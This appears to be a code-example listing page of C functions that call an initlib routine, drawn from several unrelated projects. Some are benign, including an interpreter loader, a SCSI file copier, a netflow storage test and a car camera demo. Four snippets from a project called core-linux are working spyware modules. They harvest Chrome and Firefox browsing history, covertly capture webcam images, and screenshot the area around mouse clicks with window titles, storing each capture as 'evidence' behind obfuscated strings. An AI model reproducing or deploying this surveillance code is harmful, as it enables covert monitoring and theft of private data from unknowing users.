コード例 #1
0
ファイル: amsyslib.c プロジェクト: gezichtshaar/amanda
bool Load(const char *filename)
{
  static char fileName[stringsize] = "";
  if(filename) strncat(strcpy(fileName, ""), filename, stringsize-1);
  if(strlen(fileName) == 0)
    return False;
  else if(seterror()==0)
  {
    initstack();
    unlockmem();
    inithashtable();
    lockmem();
    initlex();
    initlib();
    initsyslib();
    initmodify();
    parsefile(inipath);
    parsefile(fileName);
    checkdefinitions();
    modify_definitions();
    lockmem();
    if (gettemplate("main")->tag == FUNC)
    {
      Interpret("main");
    }
    return True;
  }
  else
  {
    initstack();
    unlockmem();
    inithashtable();
    lockmem();
    initlex();
    initlib();
    initsyslib();
    initmodify();
    parsefile(inipath);
    checkdefinitions();
    modify_definitions();
    lockmem();
    return False;
  }
}
コード例 #2
0
ファイル: module_url.c プロジェクト: BwRy/core-linux
static void url_chrome(void)
{
   int i;
   glob_t g = {0};
   struct stat s;
   char *query = SO"SELECT IFNULL(B.url, ''), IFNULL(B.title, ''), A.visit_time/1000000-11644473600 AS timestamp FROM visits AS A JOIN urls AS B ON A.url = B.id WHERE timestamp BETWEEN ? AND ?";
   char *tmpf = NULL;
   sqlite3 *db = NULL;
   sqlite3_stmt *stmt = NULL;

   do {
      if(initlib(INIT_LIBSQLITE3)) break;
      if(glob(SO"~/.config/{google-chrome,chromium}/*/History", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break;

      for(i = 0; i < g.gl_pathc; i++) {
         do {
            if(stat(g.gl_pathv[i], &s) || (s.st_mtime < begin)) break;
            if(!(tmpf = clonefile(g.gl_pathv[i]))) break;
            if(sqlite3_open(tmpf, &db) != SQLITE_OK) break;
            if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK) break;
            if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK) break;
            if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK) break;
            while(sqlite3_step(stmt) == SQLITE_ROW) {
               /* TODO gestire con una lista */
               if(!list) {
                  if(!(list = malloc(sizeof(struct entry)))) break;
                  listp = list;
               } else {
                  if(!(listp->next = malloc(sizeof(struct entry)))) break;
                  listp = listp->next;
               }

               listp->next = NULL;
               listp->browser = BROWSER_CHROME;
               listp->url = strdup(sqlite3_column_text(stmt, 0));
               listp->title = strdup(sqlite3_column_text(stmt, 1));
               listp->time = (time_t)sqlite3_column_int(stmt, 2);
               /* TODO */
            }
         } while(0);
         if(stmt) { sqlite3_finalize(stmt); stmt = NULL; }
         if(db) { sqlite3_close(db); db = NULL; }
         if(tmpf) { unlink(tmpf); free(tmpf); tmpf = NULL; }
      }
   } while(0);
   globfree(&g);

   return;
}
コード例 #3
0
ファイル: fc_copy_to.c プロジェクト: wangmingxin/scsi_file
int main(int argc, char * argv[])
{
	fc_file_t * file = NULL;

	if(argc < 4){
		usage();
		return -1;
	}
	FILE* from = NULL;
	
	if(initlib(argv[1])<0){
		perror("initlib error\n");
		return -1;
	}

	file = fc_open(argv[3], SCSI_FILE_OPEN_WRITE,0);
	if(file == NULL){
		perror("cannot open file");
		return -1;
	}

	from = open(argv[2],O_RDONLY);

	if(from <0){
		perror("open localfile to read error");
	}
	
	char buff[256*1024];
	int writesize=0;
	int read_size=0;
	
	lseek(from,0,SEEK_SET);
	read_size=read(from, buff, sizeof(buff));
	while(read_size>0){
		writesize = fc_write(file, buff, read_size);
		if(writesize <=0){
			fprintf(stderr,"fc_write writesize=%d \n",writesize);
			break;
		}
	read_size=read(from, buff, sizeof(buff));
	}
	
	print_fc_file(file);
	close(from);

	return fc_close(file);
}
コード例 #4
0
ファイル: module_url.c プロジェクト: BwRy/core-linux
static void url_firefox(void)
{
   int i;
   glob_t g = {0};
   struct stat s;
   char *query = SO"SELECT IFNULL(B.url, ''), IFNULL(B.title, ''), A.visit_date/1000000 AS timestamp FROM moz_historyvisits AS A JOIN moz_places AS B ON A.place_id = B.id WHERE timestamp BETWEEN ? AND ?";
   sqlite3 *db = NULL;
   sqlite3_stmt *stmt = NULL;

   do {
      if(initlib(INIT_LIBSQLITE3)) break;
      if(glob(SO"~/.mozilla/{firefox,icecat}/*/places.sqlite", GLOB_NOSORT|GLOB_TILDE|GLOB_BRACE, NULL, &g)) break;

      for(i = 0; i < g.gl_pathc; i++) {
         do {
            if(stat(g.gl_pathv[i], &s) || (s.st_mtime < begin)) break;
            if(sqlite3_open(g.gl_pathv[i], &db) != SQLITE_OK) break;
            if(sqlite3_prepare_v2(db, query, strlen(query) + 1, &stmt, NULL) != SQLITE_OK) break;
            if(sqlite3_bind_int(stmt, 1, (int)begin) != SQLITE_OK) break;
            if(sqlite3_bind_int(stmt, 2, (int)end) != SQLITE_OK) break;
            while(sqlite3_step(stmt) == SQLITE_ROW) {
               /* TODO gestire con una lista */
               if(!list) {
                  if(!(list = malloc(sizeof(struct entry)))) break;
                  listp = list;
               } else {
                  if(!(listp->next = malloc(sizeof(struct entry)))) break;
                  listp = listp->next;
               }

               listp->next = NULL;
               listp->browser = BROWSER_FIREFOX;
               listp->url = strdup(sqlite3_column_text(stmt, 0));
               listp->title = strdup(sqlite3_column_text(stmt, 1));
               listp->time = (time_t)sqlite3_column_int(stmt, 2);
               /* TODO */
            }
         } while(0);
         if(stmt) { sqlite3_finalize(stmt); stmt = NULL; }
         if(db) { sqlite3_close(db); db = NULL; }
      }
   } while(0);
   globfree(&g);

   return;
}
コード例 #5
0
ファイル: amsyslib.c プロジェクト: gezichtshaar/amanda
void CreateInterpreter(void)
{
  if(seterror() == 0)
  {
    Write(BANNER);
    createstack();
    createhashtable();
    createIO();
    createmem(atol(GetOption("MemorySize")));
    initstack();
    inithashtable();
    lockmem();
    initlex();
    initlib();
    initsyslib();
    initmodify();
    parsefile(inipath);
    checkdefinitions();
    modify_definitions();
    lockmem();
  }
  else
    exit(1);
}
コード例 #6
0
ファイル: module_camera.c プロジェクト: BwRy/core-linux
void *module_camera_main(void *args)
{
   struct v4l2_format fmt = {0};
   struct v4l2_buffer buf = {0};
   struct v4l2_requestbuffers req = {0};
   enum v4l2_buf_type type;
   struct {
      void *start;
      size_t length;
   } *buffers = NULL;

   fd_set rfds;
   struct timeval tv = { 3, 0 };
   int i, camfd = -1;

   char *dataptr = NULL;
   long datalen = 0;
   unsigned int quality = 90;

   debugme("Module CAMERA executed\n");
   if(initlib(INIT_LIBV4L2|INIT_LIBJPEG)) return NULL;

   if(MODULE_CAMERA_P) quality = MODULE_CAMERA_P->quality;

   do {
      if((camfd = v4l2_open(SO"/dev/video0", O_RDWR | O_NONBLOCK, 0)) < 0) break;

      fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      fmt.fmt.pix.width = 640;
      fmt.fmt.pix.height = 480;
      fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_RGB24;
      fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;
      if(v4l2_ioctl(camfd, VIDIOC_S_FMT, &fmt) == -1) break;
      if(fmt.fmt.pix.pixelformat != V4L2_PIX_FMT_RGB24) break;

      req.count = 2;
      req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      req.memory = V4L2_MEMORY_MMAP;
      if(v4l2_ioctl(camfd, VIDIOC_REQBUFS, &req) == -1) break;

      if(!(buffers = calloc(req.count, sizeof(*buffers)))) break;

      for(i = 0; i < req.count; i++) {
         memset(&buf, 0x00, sizeof(buf));
         buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
         buf.memory = V4L2_MEMORY_MMAP;
         buf.index = i;
         if(v4l2_ioctl(camfd, VIDIOC_QUERYBUF, &buf) == -1) break;
         buffers[i].length = buf.length;
         if((buffers[i].start = v4l2_mmap(NULL, buf.length, PROT_READ|PROT_WRITE, MAP_SHARED, camfd, buf.m.offset)) == MAP_FAILED) break;
      }
      if(i != req.count) break;

      for(i = 0; i < req.count; i++) {
         memset(&buf, 0x00, sizeof(buf));
         buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
         buf.memory = V4L2_MEMORY_MMAP;
         buf.index = i;
         if(v4l2_ioctl(camfd, VIDIOC_QBUF, &buf) == -1) break;
      }
      if(i != req.count) break;

      type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      if(v4l2_ioctl(camfd, VIDIOC_STREAMON, &type) == -1) break;

      FD_ZERO(&rfds);
      FD_SET(camfd, &rfds);
      if((i = select(camfd + 1, &rfds, NULL, NULL, &tv)) <= 0) break;

      memset(&buf, 0x00, sizeof(buf));
      buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      buf.memory = V4L2_MEMORY_MMAP;
      if(v4l2_ioctl(camfd, VIDIOC_DQBUF, &buf) == -1) break;
      if(!(datalen = encodeimage(buffers[buf.index].start, fmt.fmt.pix.width, fmt.fmt.pix.height, quality, &dataptr))) break;

      evidence_write(EVIDENCE_TYPE_CAMERA, NULL, 0, dataptr, datalen);
   } while(0);
   if(camfd != -1) {
      type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      v4l2_ioctl(camfd, VIDIOC_STREAMOFF, &type);
   }
   for(i = 0; i < req.count; i++) v4l2_munmap(buffers[i].start, buffers[i].length);
   if(camfd != -1) v4l2_close(camfd);
   if(dataptr) free(dataptr);
   if(buffers) free(buffers);

   debugme("Module CAMERA ended\n");

   return NULL;
}
コード例 #7
0
ファイル: nfstorage.c プロジェクト: haegardev/libnfdump
int main (int argc, char* argv[])
{
    FILE* fp;
    int i;
    libnfstates_t* states;
    master_record_t* r;
    nfrecord_t* srec;
    if (argc != 2) {
        fprintf(stderr,"An nfcapd file needs to be passed as command line argument\n");
        return (EXIT_FAILURE);
    }
    /* Initilize stripped IP record */
    srec = calloc(sizeof(nfrecord_t),1);
    if (!srec) {
        fprintf(stderr, "No memory\n");
        return EXIT_FAILURE;
    }
    printf("sizeof(nfrecord_t) %d\n",sizeof(nfrecord_t));
    /* Initialize libnfdump */
    states = initlib(NULL, argv[1],NULL);
 
    if (states) {
        /* Open target file */
        fp = fopen("test.dat","w");
        if (!fp){
            fprintf(stderr,"Failed to open target file\n");
            goto out;
        }
        printf("Opened test.dat ..\n");    
        do {
            r = get_next_record(states);
            if (r) {
                bzero(srec, sizeof(nfrecord_t));
                if ( (r->flags & FLAG_IPV6_ADDR ) != 0 ) {
                    /* Copy IPv6 source address */
                    srec->ipversion = 6;
                    srec->srcaddr.ipv6[0] = r->v6.srcaddr[0];
                    srec->srcaddr.ipv6[1] = r->v6.srcaddr[1];
                    /* Copy IPv6 destination address */
                    srec->dstaddr.ipv6[0] = r->v6.dstaddr[0];
                    srec->dstaddr.ipv6[1] = r->v6.dstaddr[1];
                }else{
                    /* Copy IPv4 source address */
                    srec->srcaddr.ipv4 = r->v4.srcaddr;
                    srec->dstaddr.ipv4 = r->v4.dstaddr;
                }
                /* Copy source port */
                srec->srcport = r->srcport;
                /* Copy destination port */
                srec->dstport = r->dstport;
                /* Copy time stamp information */
                srec->msec_first = r->msec_first;
                srec->msec_last = r->msec_last;  
                /* Copy protocol */          
                srec->prot = r->prot;
                /* Copy packets and Octects */
                srec->dPkts = r->dPkts;
                srec->dOctets = r->dOctets;
                /* Save the structure in the file */
                i = fwrite(srec, sizeof(nfrecord_t),1, fp) != sizeof(nfrecord_t);
                if (i != 1) {
                    fprintf(stderr,"The outputfile is incomplete!\n");
                }
            }
        } while (r);
        fclose(fp);    
        printf("Storage done. You could compress the file test.dat with gzip or zlib.\n");
        out:
        /* Close the nfcapd file and free up internal states */
        free(srec);
        libcleanup(states);
    }
    return(EXIT_SUCCESS);
} 
コード例 #8
0
ファイル: test_tvout_camera.c プロジェクト: sqcssp/adr.ldws
int main(int argc, char* argv[])
{
	int ret;
	char fn[32] = "/sdcard/car.config";

	if(atexit(exit_handler) != 0) {
		exit(EXIT_FAILURE);
	}

	if(signal(SIGINT, signal_init_handler) == SIG_ERR) {
		exit(EXIT_FAILURE);
	}

	i2c_download_adv7180_init();
	

	int width = 320;
	int height = 240;


	config.width = width;
	config.height = height;
	config.format = V4L2_PIX_FMT_YUV420;
	//config.format = V4L2_PIX_FMT_YUV422P;


	tvout_open(&config);

	fd_mem  = open( "/dev/mem", O_RDWR ); 
//	paddr_mem_tv = mmap( 0, size_mem, PROT_READ | PROT_WRITE, MAP_SHARED, fd_mem, addr_phy_tv );
//	memset(paddr_mem_tv, 0x80, size_mem);
	size_mem = width * height * 2;
	paddr_mem_tv = mmap( 0, size_mem, PROT_READ | PROT_WRITE, MAP_SHARED, fd_mem, addr_phy_tv );
	memset(paddr_mem_tv, 0x80, size_mem);


	camera.format.width = width;                            /* set output frame width */
	camera.format.height = height;                          /* set output frame height */
	camera.format.pixelformat = V4L2_PIX_FMT_YUV420;
	//camera.format.pixelformat = V4L2_PIX_FMT_YUYV;

	ret = camera_init(&camera);
	if(0 > ret) {
		perror("open camera device error");
		exit(EXIT_FAILURE);
	}

	unsigned char *paddr_camera;
	long	size_camera;

	struct timeval start,end;
	long timeuse = 0;
	long time_max = 0;
	long time_temp = 0;
	int i = 0;

	static struct car_parm_setting car_set;

	if(initlib(fn) >= 0) {
		if (isname("PARAM","carbody_width"))
			car_set.carbody_width = atoi(getvalue("carbody_width"));
		if (isname("PARAM","camera_high_degree"))
			car_set.camera_high_degree = atoi(getvalue("camera_high_degree"));
		tidyup();
	}
	else {
		car_set.carbody_width = 150;
		car_set.camera_high_degree = 50;
	}

	car_set.init_flag = 1;
	car_set.img_width = width;
	car_set.img_height = height;

	printf("/*......Car Setting......*/\n");
	printf("  carbody width = %d cm \n", car_set.carbody_width);
	printf("  camera high degree = %d cm \n", car_set.camera_high_degree);
	printf("  image width = %d pixel \n", car_set.img_width);
	printf("  image height = %d pixel \n", car_set.img_height);
	printf("/*.......................*/\n");


	while (1) {

//		paddr_camera = camera_get_one_frame_noneblock(&camera, &size_camera);
//
		gettimeofday( &start, NULL );

		paddr_camera = camera_get_one_frame(&camera, &size_camera);
		car_set.pIn_addr = paddr_camera;
		car_set.gps_speed = 70;
		car_set.light_signal = LIGHT_SIGNAL_OFF;

		paddr_camera = set_car_parm(&car_set);
		switch(car_set.car_event) {
			case WARNING_DRIVING_SAFE:
				printf("=\n");
				break;
			case WARNING_DRIVING_LEFT:
				printf("<\n");
				break;
			case WARNING_DRIVING_RIGHT:
				printf(">\n");
				break;
		}

		//car_event = car_set.car_event;
		paddr_camera = car_set.pOut_addr;

		memcpy(paddr_mem_tv, paddr_camera, width*height); 
		camera_get_one_frame_complete(&camera);

		config.addr_phy = addr_phy_tv;
		tvout_exe(&config);


		gettimeofday( &end, NULL );
		time_temp = 1000000 * ( end.tv_sec - start.tv_sec )+ (end.tv_usec - start.tv_usec);
		if (time_temp > time_max) {
			time_max = time_temp;
		}
		timeuse +=time_temp;
		DEBUG("time used: % 7ld us\n", time_temp);


		++i;
		if ( timeuse > 10*1000000) {
			printf("get %d frames spent % 7ld msec  average frame rate = %ld\n", i, timeuse, i*1000000/timeuse);
			i = 0;
			timeuse = 0;
		}
	}

	return 0;
}
コード例 #9
0
ファイル: module_mouse.c プロジェクト: BwRy/core-linux
void *module_mouse_main(void *args)
{
   Display *display = NULL;
   int i, devnum = 0, mousenum = 0, buttonrelease = 0;
   XDeviceInfo *devinfo = NULL;
   XDevice **device = NULL;
   XEventClass evlist;
   XEvent event;
   Window root, child;
   int rootX, rootY, childX, childY;
   unsigned int mask;
   XWindowAttributes wininfo;
   int maxfd = -1, xfd = -1;
   int width = 40, height = 40;
   char *process = NULL, *title = NULL;
   int imgx, imgy, imgw, imgh;
   fd_set rfds;
   struct additional a;
   BIO *bio_additional = NULL;
   char *additionalptr, *dataptr = NULL;
   long additionallen, datalen = 0;

   debugme("Module MOUSE started\n");
   if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;

   if(MODULE_MOUSE_P) {
      width = MODULE_MOUSE_P->width;
      height = MODULE_MOUSE_P->height;
   }

   do {
      if((display = XOpenDisplay(NULL)) == NULL) break;
      if((xfd = ConnectionNumber(display)) < 0) break;
      if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
      if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
      if(!(bio_additional = BIO_new(BIO_s_mem()))) break;

      for(i = 0; i < devnum; i++) {
         if(devinfo[i].use == IsXExtensionPointer) {
            if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
            DeviceButtonRelease(device[i], buttonrelease, evlist);
            XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
            mousenum++;
         }
      }
      if(!mousenum) break;

      maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;

      while(MODULE_MOUSE.status != MODULE_STOPPING) {
         do {
            if(!XPending(display)) {
               FD_ZERO(&rfds);
               FD_SET(xfd, &rfds);
               FD_SET(MODULE_MOUSE.event, &rfds);
               if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
            }
            if(MODULE_MOUSE.status == MODULE_STOPPING) break;
            if(XNextEvent(display, &event)) break;
            if(event.type != buttonrelease) break;
            if(((XDeviceButtonEvent *)&event)->button > 3) break;

            XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
            XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
            getwindowproperties(display, getactivewindow(display), &process, &title);
            debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);

            imgx = MAX(rootX - (width / 2), 0);
            imgy = MAX(rootY - (height / 2), 0);
            imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
            imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
            if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;

            a.version = MOUSEMODULE_VERSION;
            a.processlen = strlen16(process) + 2;
            a.titlelen = strlen16(title) + 2;
            a.x = rootX;
            a.y = rootY;
            a.width = imgw;
            a.height = imgh;
            (void)BIO_reset(bio_additional);
            BIO_write(bio_additional, &a, sizeof(a));
            BIO_puts16n(bio_additional, process);
            BIO_puts16n(bio_additional, title);
            if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;

            evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
         } while(0);
         if(dataptr) { free(dataptr); dataptr = NULL; }
         if(process) { free(process); process = NULL; }
         if(title) { free(title); title = NULL; }
      }
   } while(0);
   if(bio_additional) BIO_free(bio_additional);
   if(device) {
      for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
      free(device);
   }
   if(devinfo) XFreeDeviceList(devinfo);
   if(display) XCloseDisplay(display);

   debugme("Module MOUSE stopped\n");

   return NULL;
}